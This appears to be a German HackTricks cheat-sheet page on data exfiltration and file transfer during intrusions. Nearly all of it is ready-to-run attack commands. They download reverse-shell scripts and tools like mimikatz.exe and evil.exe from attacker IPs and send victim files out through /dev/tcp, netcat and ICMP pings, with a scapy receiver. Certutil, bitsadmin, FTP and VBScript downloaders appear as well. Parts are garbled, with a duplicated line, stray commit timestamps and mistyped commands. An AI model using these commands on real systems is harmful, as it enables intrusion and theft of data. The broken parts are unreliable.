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# Exfiltration
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< details >
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< summary > < strong > Lernen Sie AWS-Hacking von Null auf Held mit< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
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Andere Möglichkeiten, HackTricks zu unterstützen:
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* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten** , überprüfen Sie die [**ABONNEMENTPLÄNE** ](https://github.com/sponsors/carlospolop )!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch** ](https://peass.creator-spring.com )
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* Entdecken Sie [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), unsere Sammlung exklusiver [**NFTs** ](https://opensea.io/collection/the-peass-family )
* **Treten Sie der** 💬 [**Discord-Gruppe** ](https://discord.gg/hRep4RUj7f ) oder der [**Telegram-Gruppe** ](https://t.me/peass ) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )**.**
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* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) und [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) GitHub-Repositories senden.
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< / details >
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**Try Hard Security Group**
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< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
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{% embed url="https://discord.gg/tryhardsecurity" %}
***
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## Häufig weißgelistete Domains zur Informationsweiterleitung
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Überprüfen Sie [https://lots-project.com/ ](https://lots-project.com/ ), um häufig weißgelistete Domains zu finden, die missbraucht werden können
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## Kopieren & Einfügen Base64
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**Linux**
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```bash
base64 -w0 < file > #Encode file
base64 -d file #Decode file
```
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**Windows**
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```
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certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
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## HTTP
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**Linux**
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```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
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**Windows**
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```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
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### Dateien hochladen
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* [**SimpleHttpServerWithFileUploads** ](https://gist.github.com/UniIsland/3346170 )
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* [**SimpleHttpServer, das GET- und POST-Anforderungen (auch Header) druckt** ](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149 )
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* Python-Modul [uploadserver ](https://pypi.org/project/uploadserver/ ):
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```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
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# With basic auth:
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# python3 -m uploadserver --basic-auth hello:world
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# Send a file
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curl -X POST http://HOST/upload -H -F 'files=@file.txt'
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# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
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### **HTTPS-Server**
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```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
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# https://localhost:443
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### PYTHON 2
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import BaseHTTPServer, SimpleHTTPServer
import ssl
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httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
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httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
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###
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### PYTHON3
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from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
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###
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### USING FLASK
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from flask import Flask, redirect, request
from urllib.parse import quote
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app = Flask(__name__)
@app .route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
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###
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```
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## FTP
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### FTP-Server (Python)
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```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
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### FTP-Server (NodeJS)
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```
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sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
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### FTP-Server (pure-ftp)
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```bash
apt-get update & & apt-get install pure-ftp
```
```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
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### **Windows**-Client
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```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
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## SMB
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Kali als Server
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```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
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Oder erstellen Sie einen SMB-Share **mit Samba** :
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```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
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comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
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#Start samba
service smbd restart
```
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### Exfiltration
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Exfiltration techniques are used to steal data from a target network. Once an attacker gains access to a system, they need to find a way to get the data out without being detected. There are several methods to exfiltrate data, including:
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- **Compression**: Compressing data before exfiltration can help evade detection.
- **Encryption**: Encrypting the data makes it harder for security tools to detect.
- **Steganography**: Hiding data within other files or images can be a stealthy way to exfiltrate information.
- **DNS Tunneling**: Using DNS requests to send data out of a network can bypass some security controls.
- **Exfiltration over Alternative Protocols**: Using protocols like ICMP or HTTP to exfiltrate data can also help avoid detection.
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Attackers may also use tools like **PowerShell** or **WMI** for exfiltration, as these are built-in to Windows and may not be detected by security tools.
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```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
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## SCP
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Der Angreifer muss SSHd laufen haben.
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```bash
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scp < username > @< Attacker_IP > :< directory > /< filename >
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```
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## SSHFS
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Wenn das Opfer SSH hat, kann der Angreifer ein Verzeichnis vom Opfer zum Angreifer mounten.
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```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions < Target username > @< Target IP address > :< Full path to folder > / /mnt/sshfs/
```
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## Netzwerk-Kommunikation
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```bash
nc -lvnp 4444 > new_file
nc -vn < IP > 4444 < exfil_file
```
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## /dev/tcp
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### Datei vom Opfer herunterladen
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```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
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### Datei auf das Opfer hochladen
Upload a file to the victim's machine.
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Laden Sie eine Datei auf den Computer des Opfers hoch.
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```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat < & 6 > file.txt
```
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Dank an ** @BinaryShadow \_**
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## **ICMP**
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```bash
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# To exfiltrate the content of a file via pings you can do:
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xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line < IP attacker > ; done
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#This will 4bytes per ping packet (you could probably increase this until 16)
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```
```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
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if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
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sniff(iface="tun0", prn=process_packet)
```
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## **SMTP**
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Wenn Sie Daten an einen SMTP-Server senden können, können Sie mit Python einen SMTP erstellen, um die Daten zu empfangen:
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```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
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## TFTP
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Standardmäßig in XP und 2003 (bei anderen muss es während der Installation explizit hinzugefügt werden)
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In Kali **starten Sie den TFTP-Server** :
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```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
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**TFTP-Server in Python:**
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```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p < PORT > < IFACE > < FOLDER >
```
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In **Opfer** , verbinden Sie sich mit dem Kali-Server:
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```bash
tftp -i < KALI-IP > get nc.exe
```
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## PHP
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Laden Sie eine Datei mit einem PHP-Oneliner herunter:
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```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?> " > down2.php
```
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## VBScript
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Visual Basic Script (VBScript) ist eine von Microsoft entwickelte Skriptsprache, die in Windows-Umgebungen häufig verwendet wird. VBScript kann verwendet werden, um Windows-spezifische Aufgaben auszuführen und kann auch für bösartige Zwecke wie Datenexfiltration eingesetzt werden.
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```bash
Attacker> python -m SimpleHTTPServer 80
```
**Opfer**
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```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```
```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
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## Debug.exe
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Das Programm `debug.exe` ermöglicht nicht nur die Inspektion von Binärdateien, sondern hat auch die **Fähigkeit, sie aus Hexadezimalwerten neu zu erstellen** . Das bedeutet, dass `debug.exe` , indem es einen Hexadezimalwert einer Binärdatei bereitstellt, die Binärdatei generieren kann. Es ist jedoch wichtig zu beachten, dass debug.exe eine **Einschränkung beim Zusammenstellen von Dateien bis zu 64 KB Größe** hat.
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```bash
# Reduce the size
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upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
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```markdown
Dann kopieren Sie den Text in die Windows-Shell, und eine Datei namens nc.exe wird erstellt.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html ](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html )
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## DNS
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* [https://github.com/62726164/dns-exfil ](https://github.com/62726164/dns-exfil )
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**Try Hard Security Group**
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< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
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{% embed url="https://discord.gg/tryhardsecurity" %}
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< details >
2024-02-10 15:36:32 +00:00
< summary > < strong > Lernen Sie AWS-Hacking von Null auf Held mit< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
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Andere Möglichkeiten, HackTricks zu unterstützen:
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2024-03-26 15:48:11 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten** , überprüfen Sie die [**ABONNEMENTPLÄNE** ](https://github.com/sponsors/carlospolop )!
2024-03-09 13:32:03 +00:00
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch** ](https://peass.creator-spring.com )
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), unsere Sammlung exklusiver [**NFTs** ](https://opensea.io/collection/the-peass-family )
* **Treten Sie der** 💬 [**Discord-Gruppe** ](https://discord.gg/hRep4RUj7f ) oder der [**Telegram-Gruppe** ](https://t.me/peass ) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )**.**
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* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) und [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) GitHub-Repositories einreichen.
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< / details >
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```